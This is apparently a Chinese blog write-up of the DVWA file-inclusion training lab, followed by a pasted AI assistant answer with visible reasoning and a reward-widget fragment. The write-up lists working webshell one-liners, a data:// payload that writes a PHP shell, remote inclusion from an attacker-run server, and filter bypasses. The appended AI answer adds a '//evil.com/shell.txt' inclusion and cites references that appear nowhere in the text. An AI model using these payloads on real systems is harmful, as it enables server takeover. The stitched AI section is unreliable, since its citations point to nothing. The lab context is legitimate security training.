DVWA 文件包含

LOW:     

本地文件包含:

前置知识:

                        1.view help查看提示

                        2.view source查看源码

                        3."../"返回上一级路径

                        4.查看网页源代码

                        5."url/?page="文件包含

                        6."php://filter/read=convert.base64-encode/resource=*.*"php伪协议查看文件内容

writeup:

                        1.先view source查看文件资源,发现文件包含                

                        2.再view help,objective(目标):只用文件包含的方式从"../hackable/flags/fi.php"里找出五句名言。

                         3.先尝试点击那个路径,由于没有使用"?page=",而是直接访问了该地址,所以提示我们要用文件包含

 

                         4.尝试文件包含该路径,没有返回任何东西

                         5.考虑目标文件不在该目录下,尝试再返回一级目录,看到成功访问,并且有3个句子,应该是我们要的内容,那么还剩下的2句没找到

                         6.尝试查看页面源代码,第5句也找到了,还剩第3句

                          7.尝试用文件伪协议查看fi.php的源代码,返回的是base64加密的源代码,拿去解码得到的内容如下,找到第3句了。

 

远程文件包含:

前置知识:

        1)访问自己的服务器,在cmd使用"python -m http.server 端口号"开启http服务,使目标服务器能远程访问自己服务器。

        2)由于windows登入了微软账户所以此时目标服务器能访问自己服务器的根目录为"C:\Users\28033",在此目录下创建要包含的文件。

        3)webshell:一句话木马,将其上传到目标服务器上后能获得服务器更高权限

                1.常见一句话木马:

php: <?php @eval($_POST['pass']);?>
asp:   <%eval request ("pass")%>
aspx:  <%@ Page Language="Jscript"%<%eval(Request.Item["pass"],"unsafe");%>

                2.前提:php.ini里的safe_mode = off、 disable_functions = proc_open, popen, exec, system, shell_exec里的exec去掉 

        4)蚂剑:返回数据为空时可选择base64编码

writeup:                                 

        1.尝试能否远程文件包含,成功返回"hello"

        2.上传一句话木马,看见目标服务器访问成功,但网页没有返回任何东西,直接上蚂剑看看情况,找到目标文件了。

Medium:

远程文件包含:

前置知识:

        1.大小写绕过

        2.data://协议:"?xxx=data://text/plain,正文"将文本设置为纯文本格式(无格式),并在服务器上运行解析

        3.双写绕过:如果过滤只过滤一次,且过滤select为空字符则可以payload=selselectect,相当于sel select ect过滤后变成sel ect

writeup:

方法一:

        1.查看源码,发现对http://过滤,尝试大小写替换,然后再上传一句话木马即可

方法二:

        1.payload:data://text/plain,<?php fputs(fopen('shell5.php','w'),'<?php @eval($_POST[passwd]);?>');?>

        2.尝试payload,看到蚁剑连接成功

方法三:

        1.尝试payload:?page=htthttp://p://192.168.3.44:8000/33.txt

        2.或者尝试payload:?page=..././..././hackable/flags/fi.php

方法四: 

        1."../"被过滤所以尝试绝对路径

        2.payload:?page=php://filter/read=convert.base64-encode/resource=/var/www/html/hackable/flags/fi.php 

High:

前置知识:

        1.fnmatch函数:判断字符串匹配是否匹配,匹配则函数值返回1;通配符"*"可代表一到多个字符,例子,AEW*,查找以AEW开头的所有文件类型的文件,如AEWT.txt、AEWU.EXE、AEWI.dll

        2.file://协议:访问本地计算机的文件,用法"file:///绝对路径"

writeup:

        0.由于kali的DVWA错误不回显,作弊拿到了目标文件的绝对路径"/var/www/html/hackable/flags/fi.php"

        1.源码分析:要输入以"file"开头的payload

        2.payload:?page=file:///var/www/html/hackable/flags/fi.php

                           

<think>嗯,用户想找DVWA文件包含漏洞第二关的解决方案或教程。首先,我需要回忆一下DVWA的结构。DVWA的不同关卡通常对应不同的安全级别,比如Low、Medium、High、Impossible。用户提到的是第二关,可能对应Medium级别。 文件包含漏洞通常分为本地文件包含(LFI)和远程文件包含(RFI)。在Medium级别,开发者可能会增加一些过滤,比如检查输入是否包含特定的协议或路径。比如,可能过滤掉“http://”或“https://”这样的字符串,防止远程文件包含。这时候,用户可能需要用其他方式绕过过滤,比如使用大小写混合、双写,或者使用其他协议如file://。 根据引用[2]中的内容,文件上传漏洞的防御措施包括白名单和黑名单,这可能和文件包含的过滤机制类似。例如,Medium级别可能使用黑名单来阻止某些协议,但可能存在被绕过的可能。比如,如果过滤了“http://”,但用户可以用“HtTp://”来绕过大小写检查,或者使用“http:/”或“http:\\”这样的变形。 另外,引用[3]提到了检查上传文件的类型,比如image/jpeg或image/png,这可能与文件包含无关,但说明DVWA中其他漏洞的防御措施可能类似,比如使用白名单过滤。不过对于文件包含来说,Medium级别可能只是部分过滤,而没有彻底解决问题。 用户需要解决方案,可能需要测试不同的输入方式。例如,在Medium级别,尝试使用相对路径或绝对路径进行本地文件包含。如果远程包含被过滤,可以尝试使用file协议读取本地文件,或者利用双写绕过过滤,比如输入“hthttp://tp://example.com”如果过滤替换了“http”为空,那么双写可能恢复成正确的URL。 此外,查看源码是关键。根据引用[1]中关于命令注入的源码分析,可以推测文件包含漏洞的源码可能也有类似的过滤逻辑。例如,替换“http://”为空字符串,这时候双写可以绕过。或者检查是否包含某些关键字,但没有处理大小写。 可能还需要考虑服务器配置,比如allow_url_include是否开启,这影响远程文件包含是否可行。在Medium级别,可能该选项被关闭,所以只能进行本地文件包含,但结合文件上传漏洞,上传一个恶意文件然后包含它,可能是一个方法。引用[2]中提到文件上传漏洞的防御,如果用户能上传文件,再通过文件包含执行,可能绕过一些限制。 总结解决方案步骤:首先查看页面参数,比如通过URL的page参数传入文件路径;然后尝试使用../进行路径遍历,查看是否被过滤;如果远程包含被过滤,尝试大小写、双写绕过;或者使用file协议读取本地文件。如果服务器配置不允许远程包含,可能需要结合上传功能,上传恶意文件后包含它。 最后,确保回答中引用相关引用内容,比如引用[2]和[1]中的过滤方法,说明如何绕过黑名单或替换策略。</think>### DVWA 文件包含漏洞(File Inclusion)第二关(Medium)解决方案 #### 漏洞分析 在DVWA的Medium级别文件包含漏洞中,开发者尝试通过过滤部分关键字(如`http://`、`https://`、`../`)来防御攻击,但过滤逻辑不完善,仍可通过以下方式绕过: 1. **路径遍历过滤绕过**:`../`被替换为空,但使用双写`..././`或大小写变形(如`..%2f`)可绕过[^2]。 2. **远程文件包含限制**:若服务器禁用`allow_url_include`,需结合本地文件包含漏洞或上传恶意文件后包含[^1]。 #### 具体步骤 1. **本地文件包含(LFI)** 尝试读取敏感文件(如`/etc/passwd`): ``` http://DVWA地址/vulnerabilities/fi/?page=file:///etc/passwd ``` 若过滤`../`,使用双写绕过: ``` http://DVWA地址/vulnerabilities/fi/?page=....//....//etc/passwd ``` 2. **远程文件包含(RFI)绕过** Medium级别可能过滤`http://`,尝试以下方法: - **大小写变形**:`hTtP://` 或 `HTTP://` - **协议缩写**:`//evil.com/shell.txt`(依赖服务器自动补全协议) - **使用其他协议**:`file://` 读取本地文件[^2]。 3. **结合文件上传漏洞** 若远程包含被完全禁用,可先上传恶意文件(如`.php`),再通过路径包含: ```php // 上传文件后包含 http://DVWA地址/vulnerabilities/fi/?page=./hackable/uploads/shell.php ``` #### 防御原理(源码分析) Medium级别的过滤代码如下: ```php $file = str_replace(array("http://", "https://", "../"), "", $file); ``` 该代码仅简单替换关键字,未递归处理或验证路径合法性,导致双写绕过[^1]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

QMDD

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值